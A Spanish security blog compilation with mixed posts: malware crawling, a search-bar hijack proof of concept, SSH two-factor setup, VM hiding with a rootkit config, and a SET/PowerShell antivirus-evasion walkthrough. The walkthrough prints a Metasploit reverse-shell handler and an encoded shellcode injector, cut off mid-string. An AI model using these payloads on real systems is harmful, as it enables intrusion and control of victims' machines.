mwcrawler: Script en python para descarga de malware o cómo tener tu propio zoo en casa

mwcrawler es un sencillo script en Python que parsea las URLs maliciosas de distintos repositorios conocidos (como por ej. MDL o Malc0de) para descargarse software malicioso. Muy útil para crear repositorios de malware y/o tener tu propio zoo en casa ;)

Actualmente el script parsea las siguientes URLs:

Requisitos:
BeautifulSoup 3.0.8 (las últimas versiones tienen problemas al parsear html): http://www.crummy.com/software/BeautifulSoup/

Uso:
$ python mwcrawler.py

Use '-t' for thug analysis $ python mwcrawler.py -t

Referencias:
mwcrawler - https://github.com/ricardo-dias/mwcrawler
thug repository - http://github.com/buffer/thug

La TV te vigila… (Samsung 0-day)

ReVuln Ltd., una pequeña compañía de seguridad encabezada por Donato Ferrante y Luigi Auriemma, publica un vídeo en el que se muestra el uso de uno de sus exploits que afecta a Smart TV, en este caso a un televisor Samsung LED 3D. En esta demostración veremos cómo es posible utilizar una vulnerabilidad de día 0 para recuperar información sensible, acceder con root, monitorizar y en definitiva controlar totalmente y de forma remota el dispositivo. Seguro que a partir de ahora, cuando estés sentando en el sillón de tu casa frente a tu TV pensarás: "quién está viendo a quién":

Robo de contraseñas mediante la suplantación de las barras de búsqueda de los navegadores (PoC js preventDefault)

Continuamente se publican en Internet listas de contraseñas de sitios comprometidos, amén de otro tipo de información delicada como números de tarjetas de crédito o cuentas bancarias. Seguro que en alguna ocasión habéis realizado una búsqueda mediante el navegador para comprobar que vuestra contraseña (o lo que sea) no se encuentra en esa enorme lista expuesta: pulsáis ctrl+f e introducís el texto en busca de coincidencias en la página y pensáis "total, como no introduzco mi contraseña en ningún formulario no hay peligro de que me la levanten"...

¡Error! Mediante Javascript es posible "secuestrar" el comando de búsqueda de cualquier navegador, de tal forma que podemos ejecutar un script malicioso al pulsar la combinación de teclas ctrl+f o
⌘+f. Esto se traduce en que podemos emular una barra de búsqueda falsa que sustituya a la barra real del navegador y a la hora de buscar el texto en la página todo lo que se escriba se mande a un servidor remoto.

Todo lo que tenemos que hacer es utilizar la función preventDefault, que cancela una acción por defecto y nos permite ejecutar otros eventos. El código genérico es muy sencillo:

$(window).keydown(function(evt){
                if((evt.which == "70" && (evt.metaKey || evt.ctrlKey))){
                        console.log("STRG+F");
                        evt.preventDefault();
                        /* display fake search */
                        $("#searchbox").slideDown(110);
                        $('#search').focus();

Y el resultado es más que creíble como podéis ver en las siguientes pruebas de concepto que emulan la barra de búsqueda de Chrome (1 y 2) o Firefox (1).

Fuentes:
Browser Event Hijacking
{ what's real and what's not }
How script kiddies can hijack your browser to steal your password

Cómo añadir a nuestro servidor SSH un segundo factor de autenticación con Google Authenticator

En esta entrada veremos como añadir a nuestro servidor SSH un segundo factor de autenticación con Google Authenticator, de tal manera que cada vez que accedamos al servidor se nos solicite adicionalmente un código distinto que podremos obtener mediante la aplicación correspondiente de nuestro teléfono.

Google Authenticator está disponible para smartphones y cómo módulo PAM en Linux y es una implementación open source de TOTP (time-based one-time password) que utiliza un sencillo algoritmo que sólo requiere un reloj preciso y una contraseña compartida para generar un código válido sólo durante un pequeño espacio de tiempo.

A continuación veremos lo sencillo que resulta implementar este sistema en una distribución Linux, en nuestro caso BT5r3:

1. Instala libpam-google-authenticator:
add-apt-repository ppa:failshell/stable
apt-get update
apt-get install libpam-google-authenticator


2. Crea una nueva clave:
google-authenticator 


 
¡Apunta las claves!. Cada código de emergencia sólo podrá usarse una única vez en caso de perder el teléfono. Éstas serán también almacenadas en .google_authenticator.

3. Instala la aplicación y configura el teléfono:
Instala Google Authenticator en tu terminal con Android, Blackberry o iOS.
Lee el código QR generado anteriormente o añade manualmente la clave secreta:


Comprueba que el código de verificación está constantemente cambiando:


4. Añade el módulo PAM:
Añade esta línea al principio del fichero /etc/pam.d/sshd : 

auth required pam_google_authenticator.so

5. Configura SSH:
Modifica esta línea en el fichero /etc/ssh/sshd_config : ChallengeResponseAuthentication yes
Reinicia SSH:

service SSH restart

6. Comprueba el acceso remoto al servidor:
login as: root
Using keyboard-interactive authentication.
Verification code:
Using keyboard-interactive authentication.
Password:
Linux bt 3.2.6 #1 SMP Fri Feb 17 01:40:05 EST 2012 i686 GNU/Linux

root@bt:~#


Fuente: How to Secure SSH with Google Authenticator’s Two-Factor Authentication

Sexting y hoax sobre alumnos de Deusto

Seguro que todos habréis leído, escuchado en la radio o incluso visto en televisión el gran impacto mediático que está teniendo la noticia de unas supuestas filtraciones de varias fotos de alumnos de la Universidad de Deusto. Pero, ¿son veraces estas noticias o son puramente sensacionalistas? Pues me atrevería a decir más bien lo segundo...

Todos sabemos la fuerza que puede llegar a tener un bulo en Internet u hoax, más aún si tiene un componente de sexting en el que se publican fotos comprometidas.
Hasta el momento de escribir esta entrada todavía se podían descargar algunas de esas presuntas imágenes en 4chan, hasta un total de diez. Desconozco si son todas las que han estado circulando por WhatsApp y por distintas redes sociales, pero un análisis de los metadatos con la FOCA demuestra que algunas fueron tomadas hace bastante tiempo y con terminales o portátiles demasiado viejos, que difícilmente un alumno hubiera manteniendo hasta nuestros días:

 
Y un dato aún más esclarecedor, si realizamos una búsqueda inversa de las imágenes veremos también que algunas de ellas ya estuvieron por otras páginas y foros en Internet hace años, incluso en sitios fuera de España (abstente de abrir estos enlaces si eres menor):

http://www.tineye.com/search/5d8af54e95f22171da6d0037a1ae0abb49fe7e44/
http://www.tineye.com/search/da6731d540836804dd1728d15d9fdc8d6f5fdf3d/

Es decir, esas fotos supuestamente filtradas NO corresponden a alumnos de Deusto.

En resumen, todo apunta a que estamos ante una bola de nieve que se alimenta a base de rumores. Su origen ciertamente parece estar en la publicación de una foto comprometida de una menor en un discoteca de Berango. A partir de ahí se han ido distribuyendo otras imágenes falsas y han llegado especulaciones de todo tipo como que se había hackeado la red wifi de la Universidad, detenciones falsas, operaciones policiales inexistentes e incluso suicidios que nunca llegaron a existir.

Posiblemente no haya un único culpable, un infame y experto hacker que haya robado y publicado la información de unas cuantas alumnas incautas, sino más bien muchos que han contribuido a alimentar una gran mentira. Y mientras la Ertzaintza sigue investigando el caso, esta mentira sigue nutriéndose de la irresponsabilidad de muchos (y grandes) medios que extienden el rumor sin comprobar su veracidad ...

Número 9 de la revista Hack In The Box


Ya podemos descargar el magazine número 9 de HITB, cuyos contenidos son los siguientes: 
 
Windows Security
- Bot Wars - The Game of Win32/64 System Takeover
- Memory Copy Functions in Local Windows Kernel Exploitation

Mobile Security
- Android Persistent Threats

Hardware Security
- Does the Analysis of Electrical Current Consumption of Embedded Systems could Lead to Code Reversing?

Web Application Security
- To Hack an ASP.Net Site? It is Difficult, but Possible!

Mobile Security
- A Brief Introduction to VEGA

Ocultando entornos virtuales a malware y atacantes

Si recordáis hace tiempo repasamos una serie de técnicas para que nuestro malware de cada día pudiera detectar que está "dentro" de una máquina virtual o en un sandbox y así ejecutar inmediatamente un rutina de escape para dejar con un palmo de narices a los analistas (o al menos a los analistas más noveles).

Ahora vamos a cambiarnos de chaqueta y vamos a ponernos en la piel de quién tiene que realizar el análisis del software malicioso. Si antes la pieza de malware intentaba detectar el entorno dónde estaba para engañarle y no seguir ejecutando sus malignas acciones, ahora es el propio entorno el que intentará engañar al malware y hacerle creer que está campando a sus anchas en el sistema operativo de su víctima inocente.

Para ello nos viene al pelo un breve post de Hexacorn en el que se describen algunas maneras de ocultar que el sistema es realmente una máquina virtual (principalmente VMWare). Por supuesto no son las únicas medidas que se pueden tomar, pero es un excelente comienzo para ocultar ficheros, procesos, servicios y claves de registro de cara a evadir los controles anti-VM de algunos tipos de malware.

 
Cambiar la configuración de la máquina virtual

Se describe bastante bien en este paper.

Ocultar procesos (únicamente)

Si sólo quieres ocultar procesos, puedes usar la herramienta HideToolz que puede descargarse desde el sitio web de Fyyre.

Cuando HideToolz está activo, los procesos marcados para ocultarse no son visibles en el Administrador de tareas y no pueden encontrarse mediante las funciones normales del proceso de enumeración.

Esto es lo que ve en HideToolz (los procesos marcados con un asterisco estan ocultos):


Y esto es lo que el Administrador de tareas (y Process Explorer) puede ver:


Ocultar archivos, directorios, procesos, servicios, entradas de registro

Cuando se trata de ocultar más cosas, se puede utilizar la ayuda de un buen rootkit como el viejo Hacker Defender (Hxdef) de Holy_Father.

El rootkit usa un archivo de configuración que permite especificar lo que queremos ocultar en el entorno y que incluye:

  •      archivos / carpetas
  •      procesos
  •      servicios y sus entradas de registro asociadas
  •      claves de registro / nombres / valores
Para configurar Hacker Defender tienes que editar/modificar el archivo de configuración por defecto en sth a lo largo de estas líneas:
[Hidden Table]
hxd*
vmu*
vmt*
vmw*
tools*
procexp*
ollydbg*

[Root Processes]
hxd*
vmu*
vmt*
vmw*
tools*
procexp*
ollydbg*

[Hidden Services]
HackerDefender100
vmu*
vmt*
vmw*
procexp*

[Hidden RegKeys]
VMware, Inc.
Sysinternals

[Hidden RegValues]
vmu*
vmt*
vmw*

[Startup Run]

[Free Space]

[Hidden Ports]

[Settings]
Password=infected
BackdoorShell=cmd.exe
FileMappingName=_.-=[Hacker Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service 100
ServiceDescription=NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
[Comments]
El nuevo archivo de configuración puede cargarse:
hxdef100.exe hide.ini
Y a partir de ahora los elementos seleccionados estarán disponibles sólo a los procesos enumerados en la sección "procesos fundamentales".
Ejemplo: Qué ve Regedit antes de la instalación del rootkit:



y después de su instalación:



Qué ve el Administrador de tareas antes:

 

y después de la instalación del rootkit:

 

Obviamente, la configuración de proporcionada es lejos de ser perfecta y necesita más desarrollo.


Lo que sería ideal es que los desarrolladores de productos VM permitieran ocultar completamente las herramientas y el entorno en el sistema operativo invitado. Por ejemplo, con la asignación aleatoria de los nombres de procesos, títulos de las ventanas, etc. - una técnica simple utilizada durante años por muchas herramientas antirootkit como XUETR y GMER.

Gana un Nexus 7 con la frase más ingeniosa sobre hacking e (in)seguridad informática #MUSIConcursoN7

MUSI, el Máster Universitario en Seguridad de la Información de la Universidad de Deusto, organiza un concurso a través de redes sociales para regalar un Nexus 7 de 16gb a aquel usuario que haga el comentario más gracioso/interesante siempre relacionado con la seguridad. Las bases son muy sencillas:

1.    Para poder ser seleccionable, debe de existir una relación directa entre MUSI y el perfil del concursante en las redes sociales (follower en twitter, “Me gusta” en Facebook y/o seguidor en Google+).

2.    Para participar es necesario que el usuario comparta la publicación en la que se da a conocer el concurso de forma pública y verificable.

3.  También es necesario realizar o compartir una publicación en la red social relacionada con la temática de la seguridad. Para recopilar todas las publicaciones se utilizará el hashtag #MUSIConcursoN7. Todas aquellas publicaciones que no lo lleven no entrarán en el concurso.


Ejemplo: "Cuando un servidor tiene una vulnerabilidad, se puede parchear. Aún no se ha inventado el parche para la estupidez humana  #MUSIConcursoN7@loretahur

4.    Quedan excluidos del concurso todos aquellos miembros del equipo de coordinación de MUSI, así como los alumnos de la edición 2012/2013 del máster.

5.    Cada uno de los candidatos puede participar tantas veces como desee por cualquiera de las redes sociales. No existe límite en el número de publicaciones.

6.    El equipo coordinador de MUSI seleccionará de entre todas las publicaciones las 10 que considere más interesantes. Se valorará la creatividad y la innovación en la publicación en esta primera fase.

7.    De estas 10 publicaciones, los alumnos de MUSI de la edición 2012/2013 elegirán la publicación ganadora. La organización de MUSI se pondrá en contacto con el ganador a través de la red social en la que se haya compartido la publicación ganadora para los datos de envío.

8.    Las fechas más relevantes son:

 a.    Para compartir las publicaciones
    i.    Fecha de inicio: viernes 9 de noviembre de 2012.
    ii.    Fecha de fin: jueves 13 de diciembre de 2012

 b.    La resolución del concurso ser hará pública el lunes 17 de diciembre.


Web del concurso: https://sites.google.com/a/deusto.es/musiconcurso-n7/ 

Evasión de antivirus con SET y Powershell

Hoy vamos a ver una interesante característica de SET (Social Engineering Toolkit) que nos permitirá obtener fácilmente un shell remoto evadiendo completamente el antivirus mediante un ataque con Windows PowerShell.

La ventaja de Powershell es que podemos añadir clases personalizadas al framework .NET. Mediante el cmdlet 'Add-Type' podemos compilar código CSharp al vuelo y por lo tanto importar funciones desde cualquier DLL. ¿Y para qué?, pues como el framework .NET no permite referenciar directamente la memoria, podemos importar funciones que si lo hagan, copiar un shellcode y ejecutarlo }:). Veamos como llevarlo a cabo:

Lo primero que haremos es actualizar nuestro Metasploit (msfupdate) y SET:
root@bt:/pentest/exploits/set# ./set-update 
[-] Updating the Social-Engineer Toolkit, be patient...
D    config/set_config.py
U    config/set_config
U    config/update_config.py
U    setup.py
A    src/fasttrack/delldrac.py
U    src/fasttrack/mssql.py
U    src/core/set.py
U    src/core/payloadgen/create_payloads.py
U    src/core/setcore.py
U    src/core/dictionaries.py
U    src/core/menu/text.py
U    src/core/fasttrack.py
U    src/html/spawn.py
U    src/html/Signed_Update.jar.orig
U    src/html/unsigned/verified_sign.py
U    src/html/unsigned/unsigned.jar
D    src/webattack/java_applet
U    src/webattack/multi_attack/multiattack.py
U    src/webattack/harvester/scraper.py
U    src/webattack/harvester/harvester.py
U    src/webattack/browser_exploits/gen_payload.py
D    src/webattack/web_clone/linux
D    src/webattack/web_clone/osx
A    src/webattack/web_clone/applet.txt
A    src/webattack/web_clone/applet.database.old
U    src/webattack/web_clone/applet.database
U    src/webattack/web_clone/cloner.py
U    src/webattack/web_clone/repeater.database
U    src/teensy/powershell_down.pde
A    src/teensy/peensy.pde
U    src/teensy/teensy.py
U    src/phishing/smtp/client/smtp_web.py
U    src/phishing/smtp/client/smtp_client.py
U    src/payloads/exe/shellcodeexec.binary
U    src/payloads/powershell/prep.py
U    src/payloads/set_payloads/downloader.windows
A    src/payloads/set_payloads/pyinjector_args.py
U    src/payloads/set_payloads/shell.py
U    src/payloads/set_payloads/shell.windows
A    src/payloads/set_payloads/pyinjector.binary
U    src/payloads/set_payloads/listener.py
U    set
U    readme/CHANGES
U    readme/CREDITS
Updated to revision 1577.
[*] The updating has finished, returning to main menu..
Ejecutamos set y seleccionamos la opción 1) Social-Engineering Attacks) y la opción 10) Powershell Attack Vectors:
                      ________________________
                      __  ___/__  ____/__  __/
                      _____ \__  __/  __  /  
                      ____/ /_  /___  _  /   
                      /____/ /_____/  /_/    

  [---]        The Social-Engineer Toolkit (SET)         [---]       
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]        Development Team: JR DePre (pr1me)        [---]
  [---]        Development Team: Joey Furr (j0fer)       [---]
  [---]        Development Team: Thomas Werth            [---]
  [---]                 Version: 4.2.1                   [---]
  [---]         Codename: 'Bagels Bagels Bagels'         [---]
  [---]        Report bugs: davek@trustedsec.com         [---]
  [---]         Follow us on Twitter: @trustedsec        [---]
  [---]         Follow me on Twitter: @dave_rel1k        [---]
  [---]       Homepage: https://www.trustedsec.com       [---]

   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..
   
    Join us on irc.freenode.net in channel #setoolkit

  The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 10

The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow
you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell
provides a fruitful  landscape for deploying payloads and performing functions that  do not get triggered by
preventative technologies.

   1) Powershell Alphanumeric Shellcode Injector
   2) Powershell Reverse Shell
   3) Powershell Bind Shell
   4) Powershell Dump SAM Database

  99) Return to Main Menu
A continuación elegimos la opción 1) Powershell Alphanumeric Shellcode Injector e introducimos la IP y puerto de nuestro Back Track para que se genere nuestro payload:
set:powershell>1
set> IP address for the payload listener: 192.168.249.128
[*] Prepping the payload for delivery and injecting alphanumeric shellcode...
Enter the port number for the reverse [443]:
[*] Generating x64-based powershell injection code...
[*] Generating x86-based powershell injection code...
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass exececution restriction policy...
Después le indicamos que queremos iniciar el listener para que quede a la espera:
set> Do you want to start the listener now [yes/no]: : yes
                _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 988 exploits - 551 auxiliary - 161 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops

[*] Processing reports/powershell/powershell.rc for ERB directives.
resource (reports/powershell/powershell.rc)> use multi/handler
resource (reports/powershell/powershell.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (reports/powershell/powershell.rc)> set lport 443
lport => 443
resource (reports/powershell/powershell.rc)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (reports/powershell/powershell.rc)> exploit -j
[*] Exploit running as background job.
msf  exploit(handler) >
msf  exploit(handler) >
[*] Started reverse handler on 0.0.0.0:443
[*] Starting the payload handler...
Ahora, por otra parte, vamos a buscar por dónde anda el shellcode:
root@bt:/pentest/exploits/set/reports/powershell# ls
powershell.rc x64_powershell_injection.txt x86_powershell_injection.txt
En el directorio indicado tenemos el código para 32 y 64 bits. Echemos un vistazo a éste último:
powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand JABjAG8AZABlACAAPQAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnADsAJAB3AGkAbgBGAHUAbgBjACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAYwBvAGQAZQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJABzAGMANgA0ACAAPQAgADAAeABmAGMALAAwAHgANAA4ACwAMAB4ADgAMwAsADAAeABlADQALAAwAHgAZgAwACwAMAB4AGUAOAAsADAAeABjADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANAAxACwAMAB4ADUAMQAsADAAeAA0ADEALAAwAHgANQAwACwAMAB4ADUAMgAsADAAeAA1ADEALAAwAHgANQA2ACwAMAB4ADQAOAAsADAAeAAzADEALAAwAHgAZAAyACwAMAB4ADYANQAsADAAeAA0ADgALAAwAHgAOABiACwAMAB4ADUAMgAsADAAeAA2ADAALAAwAHgANAA4ACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMQA4ACwAMAB4ADQAOAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADIAMAAsADAAeAA0ADgALAAwAHgAOABiACwAMAB4ADcAMgAsADAAeAA1ADAALAAwAHgANAA4ACwAMAB4ADAAZgAsADAAeABiADcALAAwAHgANABhACwAMAB4ADQAYQAsADAAeAA0AGQALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeAA0ADgALAAwAHgAMwAxACwAMAB4AGMAMAAsADAAeABhAGMALAAwAHgAMwBjACwAMAB4ADYAMQAsADAAeAA3AGMALAAwAHgAMAAyACwAMAB4ADIAYwAsADAAeAAyADAALAAwAHgANAAxACwAMAB4AGMAMQAsADAAeABjADkALAAwAHgAMABkACwAMAB4ADQAMQAsADAAeAAwADEALAAwAHgAYwAxACwAMAB4AGUAMgAsADAAeABlAGQALAAwAHgANQAyACwAMAB4ADQAMQAsADAAeAA1ADEALAAwAHgANAA4ACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMgAwACwAMAB4ADgAYgAsADAAeAA0ADIALAAwAHgAMwBjACwAMAB4ADQAOAAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADgAYgAsADAAeAA4ADAALAAwAHgAOAA4ACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADQAOAAsADAAeAA4ADUALAAwAHgAYwAwACwAMAB4ADcANAAsADAAeAA2ADcALAAwAHgANAA4ACwAMAB4ADAAMQAsADAAeABkADAALAAwAHgANQAwACwAMAB4ADgAYgAsADAAeAA0ADgALAAwAHgAMQA4ACwAMAB4ADQANAAsADAAeAA4AGIALAAwAHgANAAwACwAMAB4ADIAMAAsADAAeAA0ADkALAAwAHgAMAAxACwAMAB4AGQAMAAsADAAeABlADMALAAwAHgANQA2ACwAMAB4ADQAOAAsADAAeABmAGYALAAwAHgAYwA5ACwAMAB4ADQAMQAsADAAeAA4AGIALAAwAHgAMwA0ACwAMAB4ADgAOAAsADAAeAA0ADgALAAwAHgAMAAxACwAMAB4AGQANgAsADAAeAA0AGQALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeAA0ADgALAAwAHgAMwAxACwAMAB4AGMAMAAsADAAeABhAGMALAAwAHgANAAxACwAMAB4AGMAMQAsADAAeABjADkALAAwAHgAMABkACwAMAB4ADQAMQAsADAAeAAwADEALAAwAHgAYwAxACwAMAB4ADMAOAAsADAAeABlADAALAAwAHgANwA1ACwAMAB4AGYAMQAsADAAeAA0AGMALAAwAHgAMAAzACwAMAB4ADQAYwAsADAAeAAyADQALAAwAHgAMAA4ACwAMAB4ADQANQAsADAAeAAzADkALAAwAHgAZAAxACwAMAB4ADcANQAsADAAeABkADgALAAwAHgANQA4ACwAMAB4ADQANAAsADAAeAA4AGIALAAwAHgANAAwACwAMAB4ADIANAAsADAAeAA0ADkALAAwAHgAMAAxACwAMAB4AGQAMAAsADAAeAA2ADYALAAwAHgANAAxACwAMAB4ADgAYgAsADAAeAAwAGMALAAwAHgANAA4ACwAMAB4ADQANAAsADAAeAA4AGIALAAwAHgANAAwACwAMAB4ADEAYwAsADAAeAA0ADkALAAwAHgAMAAxACwAMAB4AGQAMAAsADAAeAA0ADEALAAwAHgAOABiACwAMAB4ADAANAAsADAAeAA4ADgALAAwAHgANAA4ACwAMAB4ADAAMQAsADAAeABkADAALAAwAHgANAAxACwAMAB4ADUAOAAsADAAeAA0ADEALAAwAHgANQA4ACwAMAB4ADUAZQAsADAAeAA1ADkALAAwAHgANQBhACwAMAB4ADQAMQAsADAAeAA1ADgALAAwAHgANAAxACwAMAB4ADUAOQAsADAAeAA0ADEALAAwAHgANQBhACwAMAB4ADQAOAAsADAAeAA4ADMALAAwAHgAZQBjACwAMAB4ADIAMAAsADAAeAA0ADEALAAwAHgANQAyACwAMAB4AGYAZgAsADAAeABlADAALAAwAHgANQA4ACwAMAB4ADQAMQAsADAAeAA1ADkALAAwAHgANQBhACwAMAB4ADQAOAAsADAAeAA4AGIALAAwAHgAMQAyACwAMAB4AGUAOQAsADAAeAA1ADcALAAwAHgAZgBmACwAMAB4AGYAZgAsADAAeABmAGYALAAwAHgANQBkACwAMAB4ADQAOQAsADAAeABiAGUALAAwAHgANwA3ACwAMAB4ADcAMwAsADAAeAAzADIALAAwAHgANQBmACwAMAB4ADMAMwAsADAAeAAzADIALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA0ADEALAAwAHgANQA2ACwAMAB4ADQAOQAsADAAeAA4ADkALAAwAHgAZQA2ACwAMAB4ADQAOAAsADAAeAA4ADEALAAwAHgAZQBjACwAMAB4AGEAMAAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA0ADkALAAwAHgAOAA5ACwAMAB4AGUANQAsADAAeAA0ADkALAAwAHgAYgBjACwAMAB4ADAAMgAsADAAeAAwADAALAAwAHgAMAAxACwAMAB4AGIAYgAsADAAeABjADAALAAwAHgAYQA4ACwAMAB4AGYAOQAsADAAeAA4ADAALAAwAHgANAAxACwAMAB4ADUANAAsADAAeAA0ADkALAAwAHgAOAA5ACwAMAB4AGUANAAsADAAeAA0AGMALAAwAHgAOAA5ACwAMAB4AGYAMQAsADAAeAA0ADEALAAwAHgAYgBhACwAMAB4ADQAYwAsADAAeAA3ADcALAAwAHgAMgA2ACwAMAB4ADAANwAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADQAYwAsADAAeAA4ADkALAAwAHgAZQBhACwAMAB4ADYAOAAsADAAeAAwADEALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANQA5ACwAMAB4ADQAMQAsADAAeABiAGEALAAwAHgAMgA5ACwAMAB4ADgAMAAsADAAeAA2AGIALAAwAHgAMAAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANQAwACwAMAB4ADUAMAAsADAAeAA0AGQALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeAA0AGQALAAwAHgAMwAxACwAMAB4AGMAMAAsADAAeAA0ADgALAAwAHgAZgBmACwAMAB4AGMAMAAsADAAeAA0ADgALAAwAHgAOAA5ACwAMAB4AGMAMgAsADAAeAA0ADgALAAwAHgAZgBmACwAMAB4AGMAMAAsADAAeAA0ADgALAAwAHgAOAA5ACwAMAB4AGMAMQAsADAAeAA0ADEALAAwAHgAYgBhACwAMAB4AGUAYQAsADAAeAAwAGYALAAwAHgAZABmACwAMAB4AGUAMAAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADQAOAAsADAAeAA4ADkALAAwAHgAYwA3ACwAMAB4ADYAYQAsADAAeAAxADAALAAwAHgANAAxACwAMAB4ADUAOAAsADAAeAA0AGMALAAwAHgAOAA5ACwAMAB4AGUAMgAsADAAeAA0ADgALAAwAHgAOAA5ACwAMAB4AGYAOQAsADAAeAA0ADEALAAwAHgAYgBhACwAMAB4ADkAOQAsADAAeABhADUALAAwAHgANwA0ACwAMAB4ADYAMQAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADQAOAAsADAAeAA4ADEALAAwAHgAYwA0ACwAMAB4ADQAMAAsADAAeAAwADIALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA0ADgALAAwAHgAOAAzACwAMAB4AGUAYwAsADAAeAAxADAALAAwAHgANAA4ACwAMAB4ADgAOQAsADAAeABlADIALAAwAHgANABkACwAMAB4ADMAMQAsADAAeABjADkALAAwAHgANgBhACwAMAB4ADAANAAsADAAeAA0ADEALAAwAHgANQA4ACwAMAB4ADQAOAAsADAAeAA4ADkALAAwAHgAZgA5ACwAMAB4ADQAMQAsADAAeABiAGEALAAwAHgAMAAyACwAMAB4AGQAOQAsADAAeABjADgALAAwAHgANQBmACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANAA4ACwAMAB4ADgAMwAsADAAeABjADQALAAwAHgAMgAwACwAMAB4ADUAZQAsADAAeAA2AGEALAAwAHgANAAwACwAMAB4ADQAMQAsADAAeAA1ADkALAAwAHgANgA4ACwAMAB4ADAAMAAsADAAeAAxADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA0ADEALAAwAHgANQA4ACwAMAB4ADQAOAAsADAAeAA4ADkALAAwAHgAZgAyACwAMAB4ADQAOAAsADAAeAAzADEALAAwAHgAYwA5ACwAMAB4ADQAMQAsADAAeABiAGEALAAwAHgANQA4ACwAMAB4AGEANAAsADAAeAA1ADMALAAwAHgAZQA1ACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANAA